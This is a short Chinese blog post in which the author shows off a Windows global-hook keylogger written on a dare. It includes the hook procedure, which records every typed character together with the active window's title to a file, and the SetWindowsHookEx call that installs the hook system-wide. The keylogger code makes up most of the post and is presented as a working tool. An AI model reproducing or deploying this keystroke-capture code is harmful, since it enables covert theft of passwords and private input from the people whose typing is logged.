写的一个全局钩子 键盘记录器

这个  先看效果吧 

其实实现很简单  我本来不想写的  但是 有个人写出来了 还很骄傲  。。。。。 然后还说你行你上 

然后我就上了

如果不是debug 3个小时    我 一个小时就写完了 

其实很简单   

写的一个全局钩子 键盘记录器

 

然后这是写到文件里的

写的一个全局钩子 键盘记录器

但是 说实话 在windows 10里面作用不大

LRESULT  pro(int code, WPARAM wParam, LPARAM lParam)
{

		PMSG pMsg = (PMSG)lParam;
		char szkey = (char)pMsg->wParam;
		if (WM_CHAR == pMsg->message)
		{
			if (szkey > 16 && szkey < 256)
			{


				//MessageBox(NULL, L"已经开始回调!", L"键盘记录器!", 0);
				char szwindowsnamep[500] = { 0 };
				char str[500] = { 0 };
				GetWindowTextA(pMsg->hwnd, szwindowsnamep, 300);
				fprintf(fp, "在%s窗口按下了%c键\n", szwindowsnamep, szkey);
				sprintf_s(str, 500, "在%s窗口按下了%c键", szwindowsnamep, szkey);
				OutputDebugStringA(str);
			}
		}
		return  CallNextHookEx(Hook, code, wParam, lParam);
}

这就是打印里面的

Hook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)pro, Hinst,0);

其它也没有什么写的了  

最近 写代码总是有bug。